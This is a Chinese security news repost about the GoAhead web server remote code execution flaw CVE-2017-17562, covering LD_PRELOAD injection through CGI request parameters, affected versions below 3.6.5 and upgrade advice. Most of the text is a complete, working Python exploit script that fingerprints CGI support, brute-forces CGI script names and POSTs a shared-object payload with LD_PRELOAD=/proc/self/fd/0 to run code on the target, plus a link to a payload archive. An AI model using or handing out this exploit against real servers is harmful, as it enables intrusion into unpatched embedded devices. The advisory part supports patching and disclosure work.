GoAhead被爆远程代码执行漏洞

AlexFrankly 2017-12-25 最新漏洞 0 1

Embedthis公司的Web服务器 GoAhead爆出远程代码执行漏洞,CVEID为CVE-2017-17562。当与 glibc 动态链接器结合使用时, 可以利用特殊参数名称 ,如 LD_PRELOAD,就可以实施远程代码执行。攻击者可以在请求的正文中POST其共享对象有效Payload, 并使用/proc/self/fd/0 引用它。

Clipboard Image.png

GoAhead是什么

GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。GoAhead Web Server是为嵌入式实时操作系统(RTOS)量身定制的Web服务器。支持多种操作系统,包括eCos 、LINUX 、LynxOS 、QNX 、VxWorks 、WinCE、pSOS等。

GoAhead远程代码执行漏洞CVE-2017-17562

CVE信息显示,Embedthis GoAhead 3.6.5之前版本, 如果 cgi 是启用,并且cgi 程序是动态链接,则会出现允许远程代码执行问题。这是由于, 在cgi 中使用 cgiHandler 函数中的不受信任 HTTP 请求参数初始化分叉 cgi 脚本环境的结果。

当与 glibc 动态链接器结合使用时, 可以利用特殊参数名称 ,如 LD_PRELOAD,就可以实施远程代码执行。攻击者可以在请求的正文中POST其共享对象有效Payload, 并使用/proc/self/fd/0 引用它。

详细分析见这里

https://www.elttam.com.au/blog/goahead/

GoAhead httpd/2.5 to 3.5 LD_PRELOAD远程代码执行漏洞(CVE-2017-17562)威胁预警通告

绿盟科技通告信息显示,GoAhead Web Server 在3.6.5之前的所有版本中存在一个远程代码执行漏洞(CVE-2017-17562)。该漏洞源于使用不受信任的HTTP请求参数初始化CGI脚本环境,并且会影响所有启用了动态链接可执行文件(CGI脚本)支持的用户。当与glibc动态链接器结合使用时,使用特殊变量(如LD_PRELOAD)可以滥用该漏洞,从而导致远程代码执行。

参考链接:

https://www.elttam.com.au/blog/goahead/

https://github.com/embedthis/goahead/issues/249

影响范围

受影响的版本

  • GoAhead Web Server Version < 3.6.5

不受影响的版本

  • GoAhead Web Server Version >= 3.6.5

解决方案

GoAhead官方已经发布新版本修复了该漏洞,受影响的用户请尽快升级到最新版本进行防护。

#!/usr/bin/python
 
# GoAhead httpd/2.5 to 3.6.5 LD_PRELOAD remote code execution exploit
 
# EDB Note: Payloads ~ https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/43360.zip
# EDB Note: Source ~ https://www.elttam.com.au/blog/goahead/
# EDB Note: Source ~ https://github.com/elttam/advisories/blob/c778394dfe454083ebdfb52f660fd3414ee8adb8/CVE-2017-17562/
 
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++++++:--/++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++/:-......-:/++++++++++++++++++++++++++++++++
#++++++++++++++++++++++/////::-..............-:://///+++++++++++++++++++++++
#++++++++++++++++++++++..............-:..............+++++++++++++++++++++++
#++++++++++++++++++++++..........-://+++/:-..........+++++++++++++++++++++++
#++++++++++++++++++++++......://++++++++++++//::.....+++++++++++++++++++++++
#++++++++++++++++++++++......++++++++++++++++++/.....+++++++++++++++++++++++
#++++++++++++++++++++++......:/+++++++++++++++/-.....+++++++++++++++++++++++
#++++++++++++++++++++++.........--::////:::--........+++++++++++++++++++++++
#++++++++++++++++++++++-...........................:/+++++++++++++++++++++++
#++++++++++++++++++++++:.....-................--:/++++++++++++++++++++++++++
#+++++++++++++++++++++++-....-+///::::::::///+++++++++++++++++++++++++++++++
#+++++++++++++++++++++++/.....-/++++++++++++++++/::+++++++++++++++++++++++++
#++++++++++++++++++++++++/-.....-/++++++++/:--...-/+++++++++++++++++++++++++
#++++++++++++++++++++++++++:.......:/++/:.......:+++++++++++++++++++++++++++
#+++++++++++++++++++++++++++/-................-/++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++/:-..........-:/++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++/:--..--:/+++++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++++++++++++++++++(c) 2017 elttam Pty Ltd.+++
 
# ~/goahead_exploit>>> ./makemyday.py -h
# usage: makemyday.py [-h] [--server SERVER] [--port PORT] [--maxconn {1-256}]
#                    [--verbose]
#                    {fingerprint,stage,exploit,findcgi} ...
#
# GoAhead httpd remote LD_PRELOAD exploit.
#
# positional arguments:
#   {fingerprint,stage,exploit,findcgi}
#     fingerprint         fingerprint if GoAhead server uses CGI
#     stage               send a staging payload and wait indefinitely
#     exploit             run exploit
#     findcgi             brute force cgi script names
#
# optional arguments:
#   -h, --help            show this help message and exit
#   --server SERVER       target ip or hostname, default is localhost
#   --port PORT           target port, default is 80
#   --maxconn {1-256}     max concurrent requests, default is 1
#   --verbose, -v         increase verbosity level
#
# See https://www.elttam.com.au for more information.
 
# >>>./makemyday.py --server 192.168.1.24 --port 80 exploit --payload ./payloads/X86_64-hw.so
# exploit works!
 
import argparse
import httplib
import sys
import threading
from string import Template
 
class GoAheadExploit(object):
    '''GoAheadExploit'''
    qid = None
    payload = None
    exploited = False
 
    def __init__(self):
        '''Configure arguments and run the exploit'''
        parser = argparse.ArgumentParser(
            description="GoAhead httpd remote LD_PRELOAD exploit.",
            epilog="See https://www.elttam.com.au for more information."
            )
 
        parser.add_argument('--server', default="localhost",
                            help='target ip or hostname, default is localhost')
        parser.add_argument('--port', type=int, default=80,
                            help='target port, defaults is 80')
        parser.add_argument('--maxconn', type=int, default=1, choices=xrange(1, 256),
                            metavar="{1-256}", help='max concurrent requests, default is 1')
        parser.add_argument('--verbose', '-v', default=0, action='count',
                            help='increase verbosity level')
 
        common_options = argparse.ArgumentParser(add_help=False)
        common_options.add_argument('--cginame', default="cgitest",
                                    help='target cgi script')
        common_options.add_argument('--payload', nargs='?',
                                    type=argparse.FileType('r'), default=sys.stdin,
                                    help='shared object file to execute (defaults to stdin)')
 
        cmd_subparsers = parser.add_subparsers(dest="action")
        cmd_subparsers.add_parser(
            'fingerprint', help='fingerprint if GoAhead server uses CGI')
        cmd_subparsers.add_parser('stage', parents=[common_options],
                                  help='send a staging payload and wait indefinitely')
        cmd_subparsers.add_parser('exploit', parents=[common_options],
                                  help='run exploit')
        findcgi = cmd_subparsers.add_parser(
            'findcgi', help='brute force cgi script names')
        findcgi.add_argument('--wordlist', nargs='?',
                             type=argparse.FileType('r'), default=sys.stdin,
                             help='list of cgi filenames to brute force (defaults to stdin)')
 
        # parse command line and call into action
        self.args = parser.parse_args()
        getattr(self, self.args.action)()
 
    def fingerprint(self):
        '''fingerprint'''
        conn = httplib.HTTPConnection(self.args.server, self.args.port)
        conn.connect()
        conn.request(
            "GET", "/cgi-bin/c8fed00eb2e87f1cee8e90ebbe870c190ac3848c")
        if conn.getresponse().read().find("CGI process file does not exist") != -1:
            print "CGI scripting is enabled"
        else:
            print "CGI scripting is disabled"
        conn.close()
 
    def findcgi(self):
        '''findcgi'''
        for cginame in self.args.wordlist.readlines():
            cginame = cginame[:-1]
            conn = httplib.HTTPConnection(self.args.server, self.args.port)
            conn.connect()
            conn.request("GET", "/cgi-bin/" + cginame)
            resp = conn.getresponse()
            if resp.status == 200:
                print "/cgi-bin/" + cginame + " exists."
            conn.close()
 
    def stage(self):
        '''stage'''
        payload = self.args.payload.read()
        headers = {"Host": self.args.server,
                   "User-Agent": "curl/7.51.0",
                   "Accept": "*/*",
                   "Content-Length": str(len(payload) + 1)}
 
        conn = httplib.HTTPConnection(self.args.server, self.args.port)
        conn.connect()
        conn.request("POST", "/cgi-bin/" + self.args.cginame, payload, headers)
        try:
            conn.getresponse()
        except httplib.BadStatusLine:
            pass
        conn.close()
 
    def exploit(self):
        '''exploit'''
        for _ in range(0, self.args.maxconn):
            tid = threading.Thread(self.do_exploit(verify,))
            tid.start()
 
    def do_exploit(self, verify_callback):
        '''do_exploit'''
        if not self.payload:
            self.payload = self.args.payload.read()
        contentlen = len(self.payload)
 
        headers = {"Host": self.args.server,
                   "User-Agent": "curl/7.51.0",
                   "Accept": "*/*",
                   "Content-Length": str(contentlen)}
 
        exploit_string = Template("/cgi-bin/${cginame}?LD_PRELOAD="
                                  "/proc/self/fd/0").substitute({
                                      "cginame": self.args.cginame
                                      })
 
        while not self.exploited:
            conn = httplib.HTTPConnection(self.args.server, self.args.port, timeout=10)
            conn.connect()
            conn.request("POST", exploit_string, self.payload, headers)
            try:
                if verify_callback(conn.getresponse()):
                    self.exploited = True
                    print "exploit works!"
            except httplib.BadStatusLine:
                pass
            conn.close()
 
# put your payload callback/verification code here
def verify(res):
    '''validation callback'''
    if res.getheader("hello"):
        return True
    return False
 
if __name__ == '__main__':
    GoAheadExploit()

*本文作者:学霸么么哒,转载注明来自Freebuf.COM

转载请注明来自华盟网,本文标题:《GoAhead被爆远程代码执行漏洞》

喜欢 (1) 发布评论